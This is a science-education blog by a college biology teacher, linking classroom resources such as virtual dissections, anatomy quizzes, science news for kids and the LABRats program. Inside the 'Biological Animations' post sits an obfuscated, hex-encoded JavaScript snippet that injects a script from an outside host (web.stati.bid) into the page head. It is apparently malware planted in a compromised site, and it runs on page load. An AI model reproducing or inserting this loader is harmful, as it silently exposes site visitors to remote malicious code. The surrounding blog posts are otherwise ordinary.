The 5-Second Rule

Do you remember the “5-second rule”? Any food item dropped on the floor is “safe” to eat as long as it doesn’t remain on the floor for longer than five seconds before being picked up.

But is this actually a good rule to live by? A high school senior recently carried out a scientific study to find out whether or not the “5-second rule” was a good measure of food safety. The work was done during a seven-week internship at the University of Illinois at Urbana-Champaign (check out the UIUC press release here).

What a great example of making science fun and accessible to everyone!

Biological Animations

I would like to start collecting links for useful biological animations. In teaching at the college-level, I have found it extremely useful to show students animations of various biological processes. Textbooks often come with CD-ROMs or web site access codes that give students access to various animations. However, there are a lot of great animations that are freely available on the web.

For example:

Please send me examples of any useful sites that you know of…and I will continue to post those that I find. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

LabPartners at LSUHSC

I received an e-mail the other day from Dan Huan who is the project leader for this project at the Louisiana State University Health Sciences Center (LSUHSC).He and his group have created a Web site that is a resource for teachers who are interested in covering clinical laboratory science in their classrooms. They have lesson plans, image banks, project ideas and instructions for building low cost digital microscopes for the classroom (approx. $100 to $150 each).

The Medical Center of Louisiana site also has suggestions for how to link up with a local health sciences lab.


Among the many cool learning tools that you will find at WebAnatomy, a site created by Murray Jensen at the University of Minnesota, is a game, where you
can quiz yourself on different aspects of human anatomy.

The Web site also has an Anatomy Image Database that includes: “images are from The Sourcebook of Medical Illustration, P. Cull, ed., The Parthenon Publishing Group, 1989 and are copyright-free as long as they are used for educational purposes.”

Virtual Dissections

Yes. It’s me. I’m still here. My semester has been extremely busy (since I am prepping 4 lectures and 3 labs per week). I can’t believe that it is almost November…and the last day of the semester is December 10th.

Anyway, back to talking about science in the classroom. We dissect fetal pigs in my Biology for Majors lab. I found a couple of virtual fetal pig dissection sites this past summer:

  • The Virtual Fetal Pig Dissection (from Whitman)
  • The Virtual Pig Dissection (from Fort Kent Community High School in Fort Kent, Maine)

    These sites are extremely useful as ancillaries for actual dissections, which is how I use them in my lab. But they could also stand on their own for those who don’t want to use actual fetal pigs in the classroom.

    I would be very interested in any additional links for other virtual dissections of any other organism (cats, earthworms, frogs, crayfish, humans, etc.). Post any relevant links in the comments section. Thanks!!

  • Science News for Kids

    Science News for Kids logoScience News for Kids is a:

    “Web site devoted to science news for children of ages 9 to 13. [Their] goal is to offer timely items of interest to kids, accompanied by suggestions for hands-on activities, books, articles, Web resources, and other useful materials.”

    This week, the site features articles on topics as diverse as mosquitoes and how monkey’s perceive color. You can search the article archives by topic using the links on the left of the screen (or by using the search window in the top right hand corner of the screen) or by week.

    Check out the PuzzleZone, GameZone and LabZone for weekly science-themed puzzles, games and activities. The SciFiZone offers recommendations for Science Fiction. Check out the ScienceFairZone for “science fair tips, topics, news, student profiles, winning projects, and more.” There is even a TeacherZone with “science materials and resources for teachers and parents.”

    (discovered via Ms. Frizzle’s blog)

    Summer Vacation?

    Hi folks!

    I’m back. I have spent the last month and a half teaching two condensed summer laboratory courses at the community college where I will be teaching full-time starting this fall. It was fast paced and pretty hectic, but it gave me a good feel for what teaching full-time at GPC will be like. Now I am working to get my syllabi and lectures ready for the Fall semester, which starts on August 23rd.

    I apologize to anyone who has e-mailed me and hasn’t gotten a response yet. I am notoriously bad about replying to anyone’s e-mail when I get swamped at work.

    Although the Fall semester will be busy, I am going to try to post more regularly to the website. I definitely don’t want to stop working on this blog.

    See you soon!

    MadSci Network

    In their own words…

    “MadSci Network represents a collective cranium of scientists providing answers to your questions. For good measure we provide a variety of oddities and other ends as well.”

    In addition to their library and a search engine that will help you find scientific information on their own site and the world wide web, they have amassed a small collection of science experiments “that require little more than a quick rummaging through the kitchen cabinets.”

    If you have an experiment that you would like to share with others, you can submit your ideas to using their on-line submission form.

    They also provide links to a large number of scientific demonstrations for different age levels. Be aware that some of the links are no longer viable (e.g., Student Alleles Database).

    LABRats June 2004 Update

    I have posted the most recent update from LABRats below. LABRats is a national program that is being developed by the Society for Amateur Scientists. For more information, check out my original post or go directly to the LABRats website:

    Dear LABRats enthusiast,

    LABRats held its first program development meeting recently. The proceedings are now posted on the new LABRats Development web page at

    We are thrilled that so many world STEM education experts have joined the LABRats Program Content Committee. Among the members are representatives from Museum of Science in Boston, Harvard, Tufts, Northeastern, and UMass Boston. Everyone was exremely enthusiastic and supportive of the LABRats concept. In fact, one of the only concerns raised was that college may be disappointing to LABRRats participants after such a rich and
    rewarding experience with the program in middle and high school. For more details, I invite you to review the meeting summary and presentations on the web page.

    Many thanks for your continued support.

    Best regards,

    Heather Smith
    Society for Amateur Scientists
    Director of Program Development

    This message is from the LABRats News Group. For information, archives, or to subscribe, please see